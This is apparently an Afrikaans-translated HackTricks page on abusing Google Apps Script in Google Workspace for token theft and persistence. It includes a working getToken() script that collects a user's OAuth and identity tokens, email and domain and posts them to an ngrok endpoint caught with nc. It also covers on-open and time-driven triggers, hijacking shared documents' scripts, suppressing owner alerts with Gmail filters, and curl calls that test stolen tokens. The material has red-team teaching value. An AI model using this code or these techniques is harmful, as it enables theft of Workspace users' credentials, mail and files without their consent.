GWS - App Scripts

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

App Skripte

App Skripte is kode wat geaktiveer sal word wanneer 'n gebruiker met redakteurstoestemming die dokument wat die App Skrip aan verbind is, toegang en na die aanvaarding van die OAuth-prompt. Hulle kan ook ingestel word om elke sekere tyd uitgevoer te word deur die eienaar van die App Skrip (Volharding).

Skep App Skrip

Daar is verskeie maniere om 'n App Skrip te skep, alhoewel die mees algemene maniere is vanaf 'n Google-dokument (van enige tipe) en as 'n selfstandige projek:

Skep 'n houer-gebonde projek vanaf Google Docs, Sheets, of Slides
  1. Maak 'n Docs-dokument, 'n Sheets-spreadsheet, of Slides-aanbieding oop.

  2. Klik op Extensions > Google Apps Script.

  3. In die skripskrywer, klik op Untitled project.

  4. Gee jou projek 'n naam en klik op Rename.

Skep 'n selfstandige projek

Om 'n selfstandige projek van Apps Script te skep:

  1. Klik op Nuwe Projek.

  2. In die skripskrywer, klik op Untitled project.

  3. Gee jou projek 'n naam en klik op Rename.

Skep 'n selfstandige projek vanaf Google Drive
  1. Maak Google Drive oop.

  2. Klik op Nuwe > Meer > Google Apps Script.

Skep 'n houer-gebonde projek vanaf Google Forms
  1. Maak 'n vorm in Google Forms oop.

  2. Klik Meer more_vert > Skripskrywer.

  3. In die skripskrywer, klik op Untitled project.

  4. Gee jou projek 'n naam en klik op Rename.

Skep 'n selfstandige projek deur die clasp-opdraglynwerktuig te gebruik

clasp is 'n opdraglynwerktuig wat jou toelaat om Apps Script-projekte vanaf 'n terminaal te skep, te trek/druk, en te ontplooi.

Sien die Opdraglynkoppelvlak met behulp van clasp-gids vir meer inligting.

App Skrip Scenario

Skep Google-blad met App Skrip

Begin deur 'n App Skrip te skep, my aanbeveling vir hierdie scenario is om 'n Google-blad te skep en te gaan na Extensions > App Skripte, dit sal 'n nuwe App Skrip vir jou oopmaak wat aan die blad gekoppel is.

Lek token

Om toegang te gee tot die OAuth-token moet jy op Dienste + klik en scopes soos byvoeg:

  • AdminDirectory: Toegang tot gebruikers en groepe van die gids (as die gebruiker genoeg toestemmings het)

  • Gmail: Om toegang tot gmail-data te verkry

  • Drive: Om toegang tot drive-data te verkry

  • Google Sheets API: Sodat dit werk met die trekker

Om self die nodige scopes te verander kan jy na projekinstellings gaan en aktiveer: Wys "appsscript.json" manifest-lêer in redakteur.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Om die versoek vas te vang, kan jy net hardloop:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

As 'n eksterne versoek gedoen word, sal die OAuth-prompt ook vra om toestemming om eksterne eindpunte te bereik.

Skep Trigger

Sodra die App gelees is, klik op ⏰ Triggers om 'n trigger te skep. Kies as funksie om uit te voer getToken, hardloop by implementering Head, in gebeurtenisbron kies Vanaf die sigblad en gebeurtenistipe kies By oopmaak of By wysiging (volgens jou behoeftes) en stoor.

Merk op dat jy die uitvoer van die App Scripts in die Uitvoerings-tabblad kan nagaan as jy iets wil foutsoek.

Deling

Om die App Script te trigger moet die slagoffer koppel met Redakteurstoegang.

Die token wat gebruik word om die App Script uit te voer, sal dié van die skepper van die trigger wees, selfs as die lêer as Redakteur deur ander gebruikers geopen word.

Misbruik van Gedeelde Met My dokumente

As iemand 'n dokument met App Scripts en 'n trigger wat die Head van die App Script gebruik met jou gedeel het, kan jy die App Script-kode wysig (deur byvoorbeeld die steel token-funksies by te voeg), dit toegang gee, en die App Script sal uitgevoer word met die toestemmings van die gebruiker wat die dokument met jou gedeel het! (merk op dat die eienaar se OAuth-token toegangsbereike sal hê wat gegee is toe die trigger geskep is).

'n Kennisgewing sal aan die skepper van die skrip gestuur word wat aandui dat iemand die skrip gewysig het (Wat dink jy van die gebruik van gmail-toestemmings om 'n filter te genereer om die waarskuwing te voorkom?)

As 'n aanvaller die omvang van die App Script wysig, sal die opdaterings nie toegepas word op die dokument totdat 'n nuwe trigger met die veranderinge geskep word nie. Daarom sal 'n aanvaller nie in staat wees om die eienaar se skepper-token te steel met meer omvang as die een wat hy in die trigger wat hy geskep het, ingestel het.

Kopiëring in plaas van deling

Wanneer jy 'n skakel skep om 'n dokument te deel, word 'n skakel soortgelyk aan hierdie een geskep: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit As jy die eindiging "/edit" verander na "/copy", sal Google jou vra of jy 'n kopie van die dokument wil genereer:

As die gebruiker dit kopieer en dit toegang gee, sal beide die inhoud van die dokument en die App Scripts gekopieer word, maar die triggers nie, daarom sal niks uitgevoer word.

Deling as Webtoepassing

Merk op dat dit ook moontlik is om 'n App Script as 'n Webtoepassing te deel (in die Redakteur van die App Script, implementeer as 'n Webtoepassing), maar 'n waarskuwing soos hierdie sal verskyn:

Gevolg deur die tipiese OAuth-prompt wat vra vir die nodige toestemmings.

Toetsing

Jy kan 'n ingesamelde token toets om e-posse te lys met:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lys kalender van die gebruiker:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script as Volharding

Een opsie vir volharding sou wees om 'n dokument te skep en 'n trekker vir die getToken-funksie by te voeg en die dokument met die aanvaller te deel sodat elke keer as die aanvaller die lêer oopmaak, hy die token van die slagoffer uitlek.

Dit is ook moontlik om 'n App Script te skep en dit te laat afgaan elke X-tyd (soos elke minuut, uur, dag...). 'n Aanvaller wat gekompromitteerde geloofsbriewe of 'n sessie van 'n slagoffer het, kan 'n App Script-tydtrekker instel en elke dag 'n baie bevoorregte OAuth-token uitlek:

Skep net 'n App Script, gaan na Trekkers, klik op Voeg Trekker By, en kies as gebeurtenisbron Tydgedrewe en kies die opsies wat jou die beste pas:

Dit sal 'n veiligheidskennisgewings-e-pos skep en 'n drukboodskap na jou mobiel stuur om jou hieroor in te lig.

Gedeelde Dokument Ongeverifieerde Omseiling van Vraag

Verder, as iemand 'n dokument met redakteurstoegang met jou gedeel het, kan jy App Scripts binne die dokument genereer en die EIENAAR (skepper) van die dokument sal die eienaar van die App Script wees.

Dit beteken dat die skepper van die dokument as skepper van enige App Script sal verskyn wat enige iemand met redakteurstoegang binne-in dit skep.

Dit beteken ook dat die App Script vertrou sal word deur die Workspace-omgewing van die skepper van die dokument.

Dit beteken ook dat as 'n App Script reeds bestaan en mense toegang verleen het, kan enige iemand met Redakteur-toestemming op die dokument dit wysig en daardie toegang misbruik. Om dit te misbruik, het jy ook mense nodig om die App Script te aktiveer. En 'n slim truuk is om die skrip as 'n webtoepassing te publiseer. Wanneer die mense wat reeds toegang tot die App Script verleen het, die webbladsy besoek, sal hulle die App Script aanskakel (dit werk ook met behulp van <img>-etikette).

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated